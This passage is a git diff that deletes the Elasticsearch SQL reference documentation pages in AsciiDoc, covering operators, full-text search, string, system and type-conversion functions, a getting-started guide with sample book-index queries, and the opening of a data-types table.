-*Description*: Returns the {wikipedia}/Trigonometric_functions#tangent[tangent] of `numeric_exp`, where `numeric_exp` is an angle expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineTanget]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/operators.asciidoc b/docs/reference/sql/functions/operators.asciidoc
deleted file mode 100644
index 02841c84b58..00000000000
--- a/docs/reference/sql/functions/operators.asciidoc
+++ /dev/null
@@ -1,163 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-operators]]
-=== Comparison Operators
-
-Boolean operator for comparing against one or multiple expressions.
-
-[[sql-operators-equality]]
-==== `Equality (=)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereFieldEquality]
---------------------------------------------------
-
-[[sql-operators-null-safe-equality]]
-==== `Null safe Equality (<=>)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[nullEqualsCompareWithNull]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[nullEqualsCompareTwoNulls]
---------------------------------------------------
-
-[[sql-operators-inequality]]
-==== `Inequality (<> or !=)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereFieldNonEquality]
---------------------------------------------------
-
-[[sql-operators-comparison]]
-==== `Comparison (<, <=, >, >=)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereFieldLessThan]
---------------------------------------------------
-
-[[sql-operators-between]]
-==== `BETWEEN`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereBetween]
---------------------------------------------------
-
-[[sql-operators-is-null]]
-==== `IS NULL/IS NOT NULL`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereIsNotNullAndIsNull]
---------------------------------------------------
-
-[[sql-operators-in]]
-==== `IN (<value1>, <value2>, ...)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereWithInAndMultipleValues]
---------------------------------------------------
-
-[[sql-operators-logical]]
-=== Logical Operators
-
-Boolean operator for evaluating one or two expressions.
-
-[[sql-operators-and]]
-==== `AND`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereFieldAndComparison]
---------------------------------------------------
-
-[[sql-operators-or]]
-==== `OR`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereFieldOrComparison]
---------------------------------------------------
-
-[[sql-operators-not]]
-==== `NOT`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/filter.sql-spec[whereFieldEqualityNot]
---------------------------------------------------
-
-[[sql-operators-math]]
-=== Math Operators
-
-Perform mathematical operations affecting one or two values.
-The result is a value of numeric type.
-
-[[sql-operators-plus]]
-==== `Add (+)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/arithmetic.sql-spec[plus]
---------------------------------------------------
-
-[[sql-operators-subtract]]
-==== `Subtract (infix -)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/arithmetic.sql-spec[minus]
---------------------------------------------------
-
-[[sql-operators-negate]]
-==== `Negate (unary -)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/arithmetic.sql-spec[unaryMinus]
---------------------------------------------------
-
-[[sql-operators-multiply]]
-==== `Multiply (*)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/arithmetic.sql-spec[multiply]
---------------------------------------------------
-
-[[sql-operators-divide]]
-==== `Divide (/)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/arithmetic.sql-spec[divide]
---------------------------------------------------
-
-[[sql-operators-remainder]]
-==== `Modulo or Remainder(%)`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/arithmetic.sql-spec[mod]
---------------------------------------------------
-
-[[sql-operators-cast]]
-=== Cast Operators
-
-[[sql-operators-cast-cast]]
-==== `Cast (::)`
-
-`::` provides an alternative syntax to the <<sql-functions-type-conversion-cast>> function.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[conversionStringToLongCastOperator]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/search.asciidoc b/docs/reference/sql/functions/search.asciidoc
deleted file mode 100644
index fa999bd8e67..00000000000
--- a/docs/reference/sql/functions/search.asciidoc
+++ /dev/null
@@ -1,156 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-search]]
-=== Full-Text Search Functions
-
-Search functions should be used when performing full-text search, namely
-when the `MATCH` or `QUERY` predicates are being used.
-Outside a, so-called, search context, these functions will return default values
-such as `0` or `NULL`.
-
-[[sql-functions-search-match]]
-==== `MATCH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MATCH(
-    field_exp,   <1>
-    constant_exp <2>
-    [, options]) <3>
---------------------------------------------------
-
-*Input*:
-
-<1> field(s) to match
-<2> matching text
-<3> additional parameters; optional
-
-*Description*: A full-text search option, in the form of a predicate, available in {es-sql} that gives the user control over powerful <<query-dsl-match-query,match>>
-and <<query-dsl-multi-match-query,multi_match>> {es} queries.
-
-The first parameter is the field or fields to match against. In case it receives one value only, {es-sql} will use a `match` query to perform the search:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[simpleMatch]
-----
-
-However, it can also receive a list of fields and their corresponding optional `boost` value. In this case, {es-sql} will use a
-`multi_match` query to match the documents:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[multiFieldsMatch]
-----
-
-NOTE: The `multi_match` query in {es} has the option of <<query-dsl-multi-match-query,per-field boosting>> that gives preferential weight
-(in terms of scoring) to fields being searched in, using the `^` character. In the example above, the `name` field has a greater weight in
-the final score than the `author` field when searching for `frank dune` text in both of them.
-
-Both options above can be used in combination with the optional third parameter of the `MATCH()` predicate, where one can specify
-additional configuration parameters (separated by semicolon `;`) for either `match` or `multi_match` queries. For example:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[optionalParamsForMatch]
-----
-
-In the more advanced example above, the `cutoff_frequency` parameter allows specifying an absolute or relative document frequency where
-high frequency terms are moved into an optional subquery and are only scored if one of the low frequency (below the cutoff) terms in the 
-case of an `or` operator or all of the low frequency terms in the case of an `and` operator match. More about this you can find in the
-<<query-dsl-match-query-cutoff>> page.
-
-NOTE: The allowed optional parameters for a single-field `MATCH()` variant (for the `match` {es} query) are: `analyzer`, `auto_generate_synonyms_phrase_query`,
-`cutoff_frequency`, `lenient`, `fuzziness`, `fuzzy_transpositions`, `fuzzy_rewrite`, `minimum_should_match`, `operator`,
-`max_expansions`, `prefix_length`.
-
-NOTE: The allowed optional parameters for a multi-field `MATCH()` variant (for the `multi_match` {es} query) are: `analyzer`, `auto_generate_synonyms_phrase_query`,
-`cutoff_frequency`, `lenient`, `fuzziness`, `fuzzy_transpositions`, `fuzzy_rewrite`, `minimum_should_match`, `operator`,
-`max_expansions`, `prefix_length`, `slop`, `tie_breaker`, `type`.
-
-
-[[sql-functions-search-query]]
-==== `QUERY`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-QUERY(
-    constant_exp <1>
-    [, options]) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> query text
-<2> additional parameters; optional
-
-*Description*: Just like `MATCH`, `QUERY` is a full-text search predicate that gives the user control over the <<query-dsl-query-string-query,query_string>> query in {es}.
-
-The first parameter is basically the input that will be passed as is to the `query_string` query, which means that anything that `query_string`
-accepts in its `query` field can be used here as well:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[simpleQueryQuery]
-----
-
-A more advanced example, showing more of the features that `query_string` supports, of course possible with {es-sql}:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[advancedQueryQuery]
-----
-
-The query above uses the `_exists_` query to select documents that have values in the `author` field, a range query for `page_count` and
-regex and fuzziness queries for the `name` field.
-
-If one needs to customize various configuration options that `query_string` exposes, this can be done using the second _optional_ parameter.
-Multiple settings can be specified separated by a semicolon `;`:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[optionalParameterQuery]
-----
-
-NOTE: The allowed optional parameters for `QUERY()` are: `allow_leading_wildcard`, `analyze_wildcard`, `analyzer`,
-`auto_generate_synonyms_phrase_query`, `default_field`, `default_operator`, `enable_position_increments`,
-`escape`, `fuzziness`, `fuzzy_max_expansions`, `fuzzy_prefix_length`, `fuzzy_rewrite`, `fuzzy_transpositions`,
-`lenient`, `max_determinized_states`, `minimum_should_match`, `phrase_slop`, `rewrite`, `quote_analyzer`,
-`quote_field_suffix`, `tie_breaker`, `time_zone`, `type`.
-
-
-[[sql-functions-search-score]]
-==== `SCORE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SCORE()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: `double` numeric value
-
-*Description*: Returns the {defguide}/relevance-intro.html[relevance] of a given input to the executed query. 
-The higher score, the more relevant the data.
-
-NOTE: When doing multiple text queries in the `WHERE` clause then, their scores will be
-combined using the same rules as {es}'s
-<<query-dsl-bool-query,bool query>>. 
-
-Typically `SCORE` is used for ordering the results of a query based on their relevance:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[orderByScore]
-----
-
-However, it is perfectly fine to return the score without sorting by it:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[scoreWithMatch]
-----
diff --git a/docs/reference/sql/functions/string.asciidoc b/docs/reference/sql/functions/string.asciidoc
deleted file mode 100644
index 61fbbaad151..00000000000
--- a/docs/reference/sql/functions/string.asciidoc
+++ /dev/null
@@ -1,520 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-string]]
-=== String Functions
-
-Functions for performing string manipulation.
-
-[[sql-functions-string-ascii]]
-==== `ASCII`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ASCII(string_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> string expression
-
-*Output*: integer
-
-*Description*: Returns the ASCII code value of the leftmost character of `string_exp` as an integer.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringAscii]
---------------------------------------------------
-
-[[sql-functions-string-bit-length]]
-==== `BIT_LENGTH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-BIT_LENGTH(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: integer
-
-*Description*: Returns the length in bits of the `string_exp` input expression.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringBitLength]
---------------------------------------------------
-
-[[sql-functions-string-char]]
-==== `CHAR`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CHAR(code) <1>
---------------------------------------------------
-*Input*:
-
-<1> integer expression
-
-*Output*: string
-
-*Description*: Returns the character that has the ASCII code value specified by the numeric input. The value should be between 0 and 255; otherwise, the return value is data source–dependent.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringChar]
---------------------------------------------------
-
-[[sql-functions-string-char-length]]
-==== `CHAR_LENGTH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CHAR_LENGTH(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: integer
-
-*Description*: Returns the length in characters of the input, if the string expression is of a character data type; otherwise, returns the length in bytes of the string expression (the smallest integer not less than the number of bits divided by 8).
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringCharLength]
---------------------------------------------------
-
-[[sql-functions-string-concat]]
-==== `CONCAT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CONCAT(
-    string_exp1, <1>
-    string_exp2) <2>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> string expression
-
-*Output*: string
-
-*Description*: Returns a character string that is the result of concatenating `string_exp1` to `string_exp2`. If one of the string is `NULL`, the other string will be returned.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringConcat]
---------------------------------------------------
-
-[[sql-functions-string-insert]]
-==== `INSERT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-INSERT(
-    source,      <1>
-    start,       <2>
-    length,      <3>
-    replacement) <4>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> integer expression
-<3> integer expression
-<4> string expression
-
-*Output*: string
-
-*Description*: Returns a string where `length` characters have been deleted from `source`, beginning at `start`, and where `replacement` has been inserted into `source`, beginning at `start`.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringInsert]
---------------------------------------------------
-
-[[sql-functions-string-lcase]]
-==== `LCASE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LCASE(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: string
-
-*Description*: Returns a string equal to that in `string_exp`, with all uppercase characters converted to lowercase.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringLCase]
---------------------------------------------------
-
-[[sql-functions-string-left]]
-==== `LEFT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LEFT(
-    string_exp, <1>
-    count)      <2>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> integer expression
-
-*Output*: string
-
-*Description*: Returns the leftmost count characters of `string_exp`.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringLeft]
---------------------------------------------------
-
-[[sql-functions-string-length]]
-==== `LENGTH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LENGTH(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: integer
-
-*Description*: Returns the number of characters in `string_exp`, excluding trailing blanks.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringLength]
---------------------------------------------------
-
-[[sql-functions-string-locate]]
-==== `LOCATE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LOCATE(
-    pattern, <1>
-    source   <2>
-    [, start]<3>
-)
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> string expression
-<3> integer expression; optional
-
-*Output*: integer
-
-*Description*: Returns the starting position of the first occurrence of `pattern` within `source`. The search for the first occurrence of `pattern` begins with the first character position in `source` unless the optional argument, `start`, is specified. If `start` is specified, the search begins with the character position indicated by the value of `start`. The first character position in `source` is indicated by the value 1. If `pattern` is not found within `source`, the value 0 is returned.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringLocateWoStart]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringLocateWithStart]
---------------------------------------------------
-
-[[sql-functions-string-ltrim]]
-==== `LTRIM`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LTRIM(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: string
-
-*Description*: Returns the characters of `string_exp`, with leading blanks removed.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringLTrim]
---------------------------------------------------
-
-[[sql-functions-string-octet-length]]
-==== `OCTET_LENGTH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-OCTET_LENGTH(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: integer
-
-*Description*: Returns the length in bytes of the `string_exp` input expression.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringOctetLength]
---------------------------------------------------
-
-[[sql-functions-string-position]]
-==== `POSITION`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-POSITION(
-    string_exp1, <1>
-    string_exp2) <2>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> string expression
-
-*Output*: integer
-
-*Description*: Returns the position of the `string_exp1` in `string_exp2`. The result is an exact numeric.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringPosition]
---------------------------------------------------
-
-[[sql-functions-string-repeat]]
-==== `REPEAT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-REPEAT(
-    string_exp, <1>
-    count)      <2>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> integer expression
-
-*Output*: string
-
-*Description*: Returns a character string composed of `string_exp` repeated `count` times.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringRepeat]
---------------------------------------------------
-
-[[sql-functions-string-replace]]
-==== `REPLACE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-REPLACE(
-    source,      <1>
-    pattern,     <2>
-    replacement) <3>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> string expression
-<3> string expression
-
-*Output*: string
-
-*Description*: Search `source` for occurrences of `pattern`, and replace with `replacement`.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringReplace]
---------------------------------------------------
-
-[[sql-functions-string-right]]
-==== `RIGHT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-RIGHT(
-    string_exp, <1>
-    count)      <2>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> integer expression
-
-*Output*: string
-
-*Description*: Returns the rightmost count characters of `string_exp`.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringRight]
---------------------------------------------------
-
-[[sql-functions-string-rtrim]]
-==== `RTRIM`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-RTRIM(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: string
-
-*Description*: Returns the characters of `string_exp` with trailing blanks removed.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringRTrim]
---------------------------------------------------
-
-[[sql-functions-string-space]]
-==== `SPACE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SPACE(count) <1>
---------------------------------------------------
-*Input*:
-
-<1> integer expression
-
-*Output*: string
-
-*Description*: Returns a character string consisting of `count` spaces.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringSpace]
---------------------------------------------------
-
-[[sql-functions-string-startswith]]
-==== `STARTS_WITH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-STARTS_WITH(
-    source,   <1>
-    pattern)  <2>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> string expression
-
-*Output*: boolean value
-
-*Description*: Returns `true` if the source expression starts with the specified pattern, `false` otherwise. The matching is case sensitive.
-If either parameters is `null`, the function returns `null`.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringStartsWithTrue]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringStartsWithFalse]
---------------------------------------------------
-
-[[sql-functions-string-substring]]
-==== `SUBSTRING`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SUBSTRING(
-    source, <1>
-    start,  <2>
-    length) <3>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-<2> integer expression
-<3> integer expression
-
-*Output*: string
-
-*Description*: Returns a character string that is derived from `source`, beginning at the character position specified by `start` for `length` characters.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringSubString]
---------------------------------------------------
-[[sql-functions-string-trim]]
-==== `TRIM`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-TRIM(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: string
-
-*Description*: Returns the characters of `string_exp`, with leading and trailing blanks removed.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringTrim]
---------------------------------------------------
-
-[[sql-functions-string-ucase]]
-==== `UCASE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-UCASE(string_exp) <1>
---------------------------------------------------
-*Input*:
-
-<1> string expression
-
-*Output*: string
-
-*Description*: Returns a string equal to that of the input, with all lowercase characters converted to uppercase.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[stringUCase]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/system.asciidoc b/docs/reference/sql/functions/system.asciidoc
deleted file mode 100644
index f860a420eec..00000000000
--- a/docs/reference/sql/functions/system.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-system]]
-=== System Functions
-
-These functions return metadata type of information about the system being queried.
-
-[[sql-functions-system-database]]
-==== `DATABASE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATABASE()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: string
-
-*Description*: Returns the name of the database being queried. In the case of Elasticsearch SQL, this
-is the name of the Elasticsearch cluster. This function should always return a non-null
-value.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[database]
---------------------------------------------------
-
-[[sql-functions-system-user]]
-==== `USER`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-USER()
---------------------------------------------------
-*Input*: _none_
-
-*Output*: string
-
-*Description*: Returns the username of the authenticated user executing the query. This function can
-return `null` in case <<elasticsearch-security,security>> is disabled.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[user]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/type-conversion.asciidoc b/docs/reference/sql/functions/type-conversion.asciidoc
deleted file mode 100644
index 2f4f44698a9..00000000000
--- a/docs/reference/sql/functions/type-conversion.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-type-conversion]]
-=== Type Conversion Functions
-
-Functions for converting an expression of one data type to another.
-
-[[sql-functions-type-conversion-cast]]
-==== `CAST`
-
-.Synopsis:
-[source, sql]
-----
-CAST(
-    expression <1>
- AS data_type) <2>
-----
-
-<1> Expression to cast
-<2> Target data type to cast to
-
-*Description*: Casts the result of the given expression to the target <<sql-data-types, data type>>.
-If the cast is not possible (for example because of target type is too narrow or because
-the value itself cannot be converted), the query fails.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[conversionStringToIntCast]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[conversionIntToStringCast]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[conversionStringToDateTimeCast]
-----
-
-IMPORTANT: Both ANSI SQL and {es-sql} types are supported with the former taking
-precedence. This only affects `FLOAT` which due naming conflict, is interpreted as ANSI SQL 
-and thus maps to `double` in {es} as oppose to `float`.
-To obtain an {es} `float`, perform casting to its SQL equivalent, `real` type.
-
-
-[[sql-functions-type-conversion-convert]]
-==== `CONVERT`
-
-.Synopsis:
-[source, sql]
-----
-CONVERT(
-    expression, <1>
-    data_type)  <2>
-----
-
-<1> Expression to convert
-<2> Target data type to convert to
-
-*Description*: Works exactly like <<sql-functions-type-conversion-cast>> with slightly different syntax.
-Moreover, apart from the standard <<sql-data-types, data types>> it supports the corresponding
-https://docs.microsoft.com/en-us/sql/odbc/reference/appendixes/explicit-data-type-conversion-function?view=sql-server-2017[ODBC data types].
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[conversionStringToIntConvertODBCDataType]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[conversionStringToIntConvertESDataType]
-----
diff --git a/docs/reference/sql/getting-started.asciidoc b/docs/reference/sql/getting-started.asciidoc
deleted file mode 100644
index 9a279b033f3..00000000000
--- a/docs/reference/sql/getting-started.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-getting-started]]
-== Getting Started with SQL
-
-To start using {es-sql}, create
-an index with some data to experiment with:
-
-[source,console]
---------------------------------------------------
-PUT /library/book/_bulk?refresh
-{"index":{"_id": "Leviathan Wakes"}}
-{"name": "Leviathan Wakes", "author": "James S.A. Corey", "release_date": "2011-06-02", "page_count": 561}
-{"index":{"_id": "Hyperion"}}
-{"name": "Hyperion", "author": "Dan Simmons", "release_date": "1989-05-26", "page_count": 482}
-{"index":{"_id": "Dune"}}
-{"name": "Dune", "author": "Frank Herbert", "release_date": "1965-06-01", "page_count": 604}
---------------------------------------------------
-
-And now you can execute SQL using the <<sql-rest>> right away:
-
-[source,console]
---------------------------------------------------
-POST /_sql?format=txt
-{
-  "query": "SELECT * FROM library WHERE release_date < '2000-01-01'"
-}
---------------------------------------------------
-// TEST[continued]
-
-Which should return something along the lines of:
-
-[source,text]
---------------------------------------------------
-    author     |     name      |  page_count   | release_date
----------------+---------------+---------------+------------------------
-Dan Simmons    |Hyperion       |482            |1989-05-26T00:00:00.000Z
-Frank Herbert  |Dune           |604            |1965-06-01T00:00:00.000Z
---------------------------------------------------
-// TESTRESPONSE[s/\|/\\|/ s/\+/\\+/]
-// TESTRESPONSE[non_json]
-
-You can also use the <<sql-cli>>. There is a script to start it
-shipped in x-pack's bin directory:
-
-[source,bash]
---------------------------------------------------
-$ ./bin/elasticsearch-sql-cli
---------------------------------------------------
-
-From there you can run the same query:
-
-[source,sqlcli]
---------------------------------------------------
-sql> SELECT * FROM library WHERE release_date < '2000-01-01';
-    author     |     name      |  page_count   | release_date
----------------+---------------+---------------+------------------------
-Dan Simmons    |Hyperion       |482            |1989-05-26T00:00:00.000Z
-Frank Herbert  |Dune           |604            |1965-06-01T00:00:00.000Z
---------------------------------------------------
diff --git a/docs/reference/sql/index.asciidoc b/docs/reference/sql/index.asciidoc
deleted file mode 100644
index 8c9d2620c70..00000000000
--- a/docs/reference/sql/index.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[xpack-sql]]
-= SQL access
-
-:sql-tests: {xes-repo-dir}/../../plugin/sql/qa/
-:sql-specs: {sql-tests}server/src/main/resources/
-:jdbc-tests: {sql-tests}jdbc/src/main/java/org/elasticsearch/xpack/sql/qa/jdbc
-:security-tests: {sql-tests}server/security/src/test/java/org/elasticsearch/xpack/sql/qa/security
-:es-sql: Elasticsearch SQL
-
-[partintro]
---
-
-X-Pack includes a SQL feature to execute SQL queries against {es}
-indices and return results in tabular format.
-
-The following chapters aim to cover everything from usage, to syntax and drivers.
-Experience users or those in a hurry might want to jump directly to
-the list of SQL <<sql-commands, commands>> and <<sql-functions, functions>>.
-
-<<sql-overview, Overview>>::
-    Overview of {es-sql} and its features.
-<<sql-getting-started, Getting Started>>::
-    Start using SQL right away in {es}.
-<<sql-concepts, Concepts and Terminology>>::
-    Language conventions across SQL and {es}.
-<<sql-security,Security>>::
-    Secure {es-sql} and {es}.
-<<sql-rest,REST API>>::
-    Execute SQL in JSON format over REST.
-<<sql-translate,Translate API>>::
-    Translate SQL in JSON format to {es} native query.
-<<sql-cli,CLI>>::
-    Command-line application for executing SQL against {es}.
-<<sql-jdbc,JDBC>>::
-    JDBC driver for {es}.
-<<sql-odbc,ODBC>>::
-    ODBC driver for {es}.
-<<sql-client-apps,Client Applications>>::
-    Setup various SQL/BI tools with {es-sql}.
-<<sql-spec,SQL Language>>::
-    Overview of the {es-sql} language, such as supported data types, commands and
-    syntax.
-<<sql-functions,Functions and Operators>>::
-    List of functions and operators supported.
-<<sql-limitations,Limitations>>::
-    {es-sql} current limitations.
---
-
-include::overview.asciidoc[]
-include::getting-started.asciidoc[]
-include::concepts.asciidoc[]
-include::security.asciidoc[]
-include::endpoints/index.asciidoc[]
-include::language/index.asciidoc[]
-include::functions/index.asciidoc[]
-include::appendix/index.asciidoc[]
-include::limitations.asciidoc[]
-
-:jdbc-tests!:
diff --git a/docs/reference/sql/language/data-types.asciidoc b/docs/reference/sql/language/data-types.asciidoc
deleted file mode 100644
index d1d4e212fe6..00000000000
--- a/docs/reference/sql/language/data-types.asciidoc
+++ /dev/null
@@ -1,137 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-data-types]]
-=== Data Types
-
-[cols="^,^m,^,^"]
-
-|===
-s|{es} type
-s|{es-sql} type
-s|SQL type
-s|SQL precision
-
-4+h| Core types
-
-| <<null-value, `null`>>                   | null            | NULL        | 0
-| <<boolean, `boolean`>>                   | boolean         | BOOLEAN     | 1
-| <<number, `byte`>>                       | byte            | TINYINT     | 3
-| <<number, `short`>>                      | short           | SMALLINT    | 5
-| <<number, `integer`>>                    | integer         | INTEGER     | 10
-| <<number, `long`>>                       | long            | BIGINT      | 19
-| <<number, `double`>>                     | double          | DOUBLE      | 15
-| <<number, `float`>>                      | float           | REAL        | 7
-| <<number, `half_float`>>                 | half_float      | FLOAT       | 3
-| <<number, `scaled_float`>>               | scaled_float    | DOUBLE      | 15
-| <<keyword, `keyword`>>                   | keyword         | VARCHAR     | 32,766
-| <<constant-keyword-field-type, `constant_keyword`>> | constant_keyword| VARCHAR     | 32,766
-| <<text, `text`>>                         | text            | VARCHAR     | 2,147,483,647
-| <<binary, `binary`>>                     | binary          | VARBINARY   | 2,147,483,647
-| <<date, `date`>>                         | datetime        | TIMESTAMP   | 29
-| <<ip, `ip`>>                             | ip              | VARCHAR     | 39
-
-4+h| Complex types
-
